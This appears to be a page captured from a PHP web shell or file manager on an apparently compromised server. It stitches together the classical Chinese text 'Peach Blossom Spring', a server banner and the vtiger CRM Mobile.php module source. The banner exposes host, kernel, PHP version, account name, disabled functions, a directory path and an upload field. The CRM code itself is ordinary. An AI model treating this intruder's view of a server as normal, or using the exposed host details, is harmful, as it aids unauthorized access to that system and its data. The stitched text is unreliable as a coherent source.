晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/modules/Mobile/ |
Upload File : |
<?php
/*+**********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
************************************************************************************/
include_once dirname(__FILE__) . '/Mobile.Config.php';
class Mobile {
/**
* Detect if request is from IPhone
*/
static function isSafari() {
if(isset($_SERVER['HTTP_USER_AGENT'])) {
$ua = $_SERVER['HTTP_USER_AGENT'];
if(preg_match("/safari/i", $ua)) return true;
}
return false;
}
static function config($key, $defvalue = false) {
// Defined in the configuration file
global $Module_Mobile_Configuration;
if(isset($Module_Mobile_Configuration) && isset($Module_Mobile_Configuration[$key])) {
return $Module_Mobile_Configuration[$key];
}
return $defvalue;
}
/**
* Alert management
*/
static function alert_lookup($handlerPath, $handlerClass) {
global $adb;
$check = $adb->pquery("SELECT id FROM vtiger_mobile_alerts WHERE handler_path=? and handler_class=?", array($handlerPath, $handlerClass));
if ($adb->num_rows($check)) {
return $adb->query_result($check, 0, 'id');
}
return false;
}
static function alert_register($handlerPath, $handlerClass) {
global $adb;
if (self::alert_lookup($handlerPath, $handlerClass) === false) {
Vtiger_Utils::Log("Registered alert {$handlerClass} [$handlerPath]");
$adb->pquery("INSERT INTO vtiger_mobile_alerts (handler_path, handler_class, deleted) VALUES(?,?,?)", array($handlerPath, $handlerClass, 0));
}
}
static function alert_deregister($handlerPath, $handlerClass) {
global $adb;
Vtiger_Utils::Log("De-registered alert {$handlerClass} [$handlerPath]");
$adb->pquery("DELETE FROM vtiger_mobile_alerts WHERE handler_path=? AND handler_class=?", array($handlerPath, $handlerClass));
}
static function alert_markdeleted($handlerPath, $handlerClass, $flag) {
global $adb;
$adb->pquery("UPDATE vtiger_mobile_alerts SET deleted=? WHERE handler_path=? AND handler_class=?", array($flag, $handlerPath, $handlerClass));
}
/**
* Invoked when special actions are performed on the module.
* @param String Module name
* @param String Event Type (module.postinstall, module.disabled, module.enabled, module.preuninstall)
*/
function vtlib_handler($modulename, $event_type) {
$registerWSAPI = false;
$registerAlerts = false;
if($event_type == 'module.postinstall') {
$registerWSAPI = true;
$registerAlerts= true;
} else if($event_type == 'module.disabled') {
// TODO Handle actions when this module is disabled.
} else if($event_type == 'module.enabled') {
// TODO Handle actions when this module is enabled.
} else if($event_type == 'module.preuninstall') {
// TODO Handle actions when this module is about to be deleted.
} else if($event_type == 'module.preupdate') {
// TODO Handle actions before this module is updated.
} else if($event_type == 'module.postupdate') {
$registerWSAPI = true;
$registerAlerts= true;
}
// Register alerts
if ($registerAlerts) {
self::alert_register('modules/Mobile/api/ws/models/alerts/IdleTicketsOfMine.php', 'Mobile_WS_AlertModel_IdleTicketsOfMine');
self::alert_register('modules/Mobile/api/ws/models/alerts/NewTicketOfMine.php', 'Mobile_WS_AlertModel_NewTicketOfMine');
self::alert_register('modules/Mobile/api/ws/models/alerts/PendingTicketsOfMine.php', 'Mobile_WS_AlertModel_PendingTicketsOfMine');
self::alert_register('modules/Mobile/api/ws/models/alerts/PotentialsDueIn5Days.php', 'Mobile_WS_AlertModel_PotentialsDueIn5Days');
self::alert_register('modules/Mobile/api/ws/models/alerts/EventsOfMineToday.php', 'Mobile_WS_AlertModel_EventsOfMineToday');
self::alert_register('modules/Mobile/api/ws/models/alerts/ProjectTasksOfMine.php','Mobile_WS_AlertModel_ProjectTasksOfMine');
self::alert_register('modules/Mobile/api/ws/models/alerts/Projects.php','Mobile_WS_AlertModel_Projects');
}
// Register webservice API
if($registerWSAPI) {
$operations = array();
$operations[] = array (
'name' => 'mobile.fetchallalerts',
'handler' => 'mobile_ws_fetchAllAlerts',
);
$operations[] = array (
'name' => 'mobile.alertdetailswithmessage',
'handler' => 'mobile_ws_alertDetailsWithMessage',
'parameters' => array( array( 'name' => 'alertid', 'type' => 'string' ) )
);
$operations[] = array (
'name' => 'mobile.fetchmodulefilters',
'handler' => 'mobile_ws_fetchModuleFilters',
'parameters' => array( array( 'name' => 'module', 'type' => 'string' ) )
);
$operations[] = array (
'name' => 'mobile.fetchrecord',
'handler' => 'mobile_ws_fetchRecord',
'parameters' => array( array( 'name' => 'record', 'type' => 'string' ) )
);
$operations[] = array (
'name' => 'mobile.fetchrecordwithgrouping',
'handler' => 'mobile_ws_fetchRecordWithGrouping',
'parameters' => array( array( 'name' => 'record', 'type' => 'string' ) )
);
$operations[] = array (
'name' => 'mobile.filterdetailswithcount',
'handler' => 'mobile_ws_filterDetailsWithCount',
'parameters' => array( array( 'name' => 'filterid', 'type' => 'string' ) )
);
$operations[] = array (
'name' => 'mobile.listmodulerecords',
'handler' => 'mobile_ws_listModuleRecords',
'parameters' => array( array( 'name' => 'elements', 'type' => 'encoded' ) )
);
$operations[] = array (
'name' => 'mobile.saverecord',
'handler' => 'mobile_ws_saveRecord',
'parameters' => array( array( 'name' => 'module', 'type' => 'string' ),
array( 'name' => 'record', 'type' => 'string' ),
array( 'name' => 'values', 'type' => 'encoded' ),
)
);
$operations[] = array (
'name' => 'mobile.syncModuleRecords',
'handler' => 'mobile_ws_syncModuleRecords',
'parameters' => array( array( 'name' => 'module', 'type' => 'string' ),
array( 'name' => 'syncToken', 'type' => 'string' ),
array( 'name' => 'page', 'type' => 'string' ),
)
);
$operations[] = array (
'name' => 'mobile.query',
'handler' => 'mobile_ws_query',
'parameters' => array( array( 'name' => 'module', 'type' => 'string' ),
array( 'name' => 'query', 'type' => 'string' ),
array( 'name' => 'page', 'type' => 'string' ),
)
);
$operations[] = array (
'name' => 'mobile.querywithgrouping',
'handler' => 'mobile_ws_queryWithGrouping',
'parameters' => array( array( 'name' => 'module', 'type' => 'string' ),
array( 'name' => 'query', 'type' => 'string' ),
array( 'name' => 'page', 'type' => 'string' ),
)
);
foreach($operations as $o) {
$operation = new Mobile_WS_Operation($o['name'], $o['handler'], 'modules/Mobile/api/wsapi.php', 'POST');
if(!empty($o['parameters'])) {
foreach($o['parameters'] as $p) {
$operation->addParameter($p['name'], $p['type']);
}
}
$operation->register();
}
}
}
}
/* Helper functions */
class Mobile_WS_Operation {
var $opName, $opClass, $opFile, $opType;
var $parameters = array();
function __construct($apiName, $className, $handlerFile, $reqType) {
$this->opName = $apiName;
$this->opClass= $className;
$this->opFile = $handlerFile;
$this->opType = $reqType;
}
function addParameter($name, $type) {
$this->parameters[] = array('name' => $name, 'type' => $type);
return $this;
}
function register() {
global $adb;
$checkresult = $adb->pquery("SELECT 1 FROM vtiger_ws_operation WHERE name = ?", array($this->opName));
if($adb->num_rows($checkresult)) {
return;
}
Vtiger_Utils::Log("Enabling webservice operation {$this->opName}", true);
$operationid = vtws_addWebserviceOperation($this->opName, $this->opFile, $this->opClass, $this->opType);
for($index = 0; $index < count($this->parameters); ++$index) {
vtws_addWebserviceOperationParam($operationid, $this->parameters[$index]['name'], $this->parameters[$index]['type'], ($index+1));
}
}
}
?>